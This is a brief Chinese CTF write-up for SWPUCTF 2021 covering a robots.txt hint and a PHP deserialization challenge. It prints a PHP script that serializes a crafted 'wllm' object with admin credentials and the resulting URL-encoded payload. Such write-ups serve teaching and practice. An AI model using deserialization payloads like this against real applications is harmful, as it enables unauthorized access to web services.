SWPUCTF 2021 | 爬虫协议 | php反序列化

disallow: *

这是爬虫的协议
访问一下robots.txt

php-payload如下：

```php
```php
<?php
class wllm{
    public $admin;
    public $passwd;
    public function __construct(){
        $this->admin = "admin";
        $this->passwd = "ctf";
    }
}

$a = new wllm();
// 先序列化对象为字符串，再URL编码
echo urlencode(serialize($a));
?>

O%3A4%3A%22wllm%22%3A2%3A%7Bs%3A5%3A%22admin%22%3Bs%3A5%3A%22admin%22%3Bs%3A6%3A%22passwd%22%3Bs%3A3%3A%22ctf%22%3B%7D